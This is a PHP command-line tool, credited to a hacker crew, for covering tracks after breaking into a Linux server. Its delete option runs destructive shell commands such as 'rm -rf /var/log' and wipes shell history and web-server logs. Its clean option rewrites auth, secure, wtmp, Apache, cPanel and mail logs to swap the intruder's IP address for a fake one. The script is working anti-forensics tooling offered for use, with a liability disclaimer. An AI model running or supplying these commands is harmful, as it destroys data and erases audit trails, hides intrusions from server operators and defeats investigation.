<?php /* ######################################### #---------------------------------------# # Pr1v8 HK lOg cLeAnEr v.1 - 2011 # # Dev @ 2012-Apr-01 # #---------------------------------------# # Coded by : HaNniBaL KsA (HK) # # Email : [email protected] # # Crew : r00t-s3cur1ty (rS) # #---------------------------------------# ######################################### Greet'z 2 : Al-k!nG - Dr.Selv3r - MR.DH - Dr.KroOoZ - Rab3oun - RiSkY - Or4nG.M4n HaCk4PuNiSh , Red-Virus , Mr.Hx , QaTaR-Attack - Abo Amira ...So on (: S.Greet'z 2 : r00t-s3c.com , p0c.cc , sec4ever.com alm3refh.com (Alm3refh team & Alm3refh Student) *NOTE!! : Use these scripts entirely at your own risk. The author cannot be held responsible for any damage, direct nor consequential, caused by the use of, or inability to use the techniques or scripts presented here. " AND THIS FILE IS UNDER The GNU General Public License v3.0 " */ error_reporting(0); set_time_limit(0); # plz don't remove this print "\n\n +-------------------------------------------+\n"; print " | Pr1v8 HK lOg cLeAnEr v.1 - 2011 |\n"; print " | Dev @ 2012-Apr-01 |\n"; print " +-------------------------------------------+\n"; print " | By: HaNniBaL KsA (HK) |\n"; print " +-------------------------------------------+\n\n"; if($argc < 2){ # no option die("[#] Usage : php ".$argv[0]." [OPTIONS]\n E.x : php ".$argv[0]." clean blah!\n\n[!] Try : \"php ".$argv[0]." -h\" for more options.\n\n"); # show how it'z works and exit } elseif ($argv[1] == "-h" or $argv[1] == "--help" or $argv[1] == "help"){ # check if enter the help command not the ip print "Usage: php ".$argv[0]." [OPTIONS]\n Options: -c, --clean Replace your IP-Adress in log file'z with a Fake-IP-Adress. -d, --delete Delete the history & log file'z. -h, --help This shity message. Option \"-c\" Usage : php ".$argv[0]." -c <IP> <FAKE-IP> E.x : php ".$argv[0]." -c 127.0.0.1 123.4.5.6\n\n"; sleep(1); # just stop for a moment die(); # exit } elseif ($argv[1] == "-d" or $argv[1] == "--delete" or $argv[1] == "delete"){ # check if enter the help command not the ip $delete = array('history -c','rm .bash_history','rm -rf /tmp/logs','rm -rf $HISTFILE','rm -rf /root/.ksh_history','rm -rf /root/.bash_history','rm -rf /root/.ksh_history','rm -rf /root/.bash_logout','rm -rf /usr/local/apache/logs','rm -rf /usr/local/apache/log','rm -rf /var/apache/logs','rm -rf /var/apache/log','rm -rf /var/run/utmp','rm -rf /var/logs ','rm -rf /var/log','rm /etc/httpd/logs/*','rm /usr/local/cpanel/logs/*'); print "\n\n[!] Deleting ..\n\n"; # tell the user it'z 'll be closed sleep(2); # just stop for a moment foreach ($delete as $del){ $doit = system($del); if($doit == true){ echo "\n[!] DONE! with \"$del\":D\n"; # print the log that has been cleaned sleep(1); # just stop for a moment } else { # if isn't cleaned echo "\n[!] ERROR! with \"$del\" xD\n"; # print the log that has not been cleaned sleep(1); # just stop for a momment} } print "\n\n[!] Killing it ...\n\n"; # tell the user it'z 'll be closed sleep(1); # just stop for a moment die(); # exit } } elseif ($argv[1] == "-c" or $argv[1] == "--clean" or $argv[1] == "clean") { # if enter clean option $ip = $argv[2]; # set the ip $fake = $argv[3]; # set the fake ip for replace the ip if($ip == false){ # check if enterd the ip print "\n\n[!] Plz enter your IP that you want us replace it for you.\n\n"; sleep(1); # just stop for a moment die(); # exit } elseif ($fake == false){ # check if enterd the fake ip print "[!] Plz enter the Fake IP for replace it with your IP.\n\n"; sleep(1); # just stop for a moment die(); # exit } else { # log'z you can edit and/or add $logs = array('/etc/httpd/logs/access_log','/etc/httpd/logs/access_log.1','/etc/httpd/logs/access_log.2','/etc/httpd/logs/access_log.3','/etc/httpd/logs/access_log.4','/etc/httpd/logs/error_log','/etc/httpd/logs/error_log.1','/etc/httpd/logs/error_log.2','/etc/httpd/logs/error_log.3','/etc/httpd/logs/error_log.4','/usr/local/apache/logs/error_log','/usr/local/apache/logs/suexec_log','/etc/httpd/logs/modsec_audit.log','/etc/httpd/logs/modsec_debug.log','/var/log/httpd/error_log','/var/log/apache2/error.log','/var/log/httpd-error.log','/usr/local/cpanel/logs/error_log','/usr/local/cpanel/logs/license_log','/usr/local/cpanel/logs/stats_log','/usr/local/cpanel/logs/access_log','/var/log/auth.log','/var/log/kern.log','/var/log/cron.log','/var/log/boot.log','/var/log/mysqld.log','/var/log/secure','/var/log/utmp','/var/log/wtmp','/var/log/yum.log','/var/log/Xorg.0.log','/var/log/wvdialconf.log','/var/log/user.log','/var/log/pycentral.log','/var/log/mail.log','/var/log/apport.log','/var/log/auth.log','/var/bootstrap.log','/var/log/daemon.log','/var/log/dpkg.log','/var/log/fontconfig.log','/var/log/lpr.log','/var/log/chkservd.log','/var/log/exim_mainlog','/var/log/exim/mainlog','/var/log/exim_rejectlog','/var/log/exim/rejectlog','/var/log/maillog','/var/log/messages','/usr/local/apache/domlogs/ftpxferlog','/var/log/xferlog','/var/log/nctfpd.errs','/var/log/httpsd/ssl.access_log','/var/log/ncftpd/misclog.txt','/var/log/nctfpd.errs'); foreach($logs as $log){ $file = file_get_contents($log); # read the log'z $file = str_replace($ip, $fake, $file); # replace your ip with the fake ip file_put_contents($log, $file); # save it if($file == true){ # if is cleaned echo "\n[!] DONE! with : \"$log\" -> Cleaned ! :D\n"; # print the log that has been cleaned sleep(1); # just stop for a moment } else { # if isn't cleaned echo "\n[!] ERROR! with : \"$log\" -> Not cleaned ! xD\n"; # print the log that has not been cleaned sleep(1); # just stop for a moment } } print "\n\n[!] Killing it ...\n\n"; # tell the user it'z 'll be closed sleep(1); # just stop for a moment die(); # exit } } ?>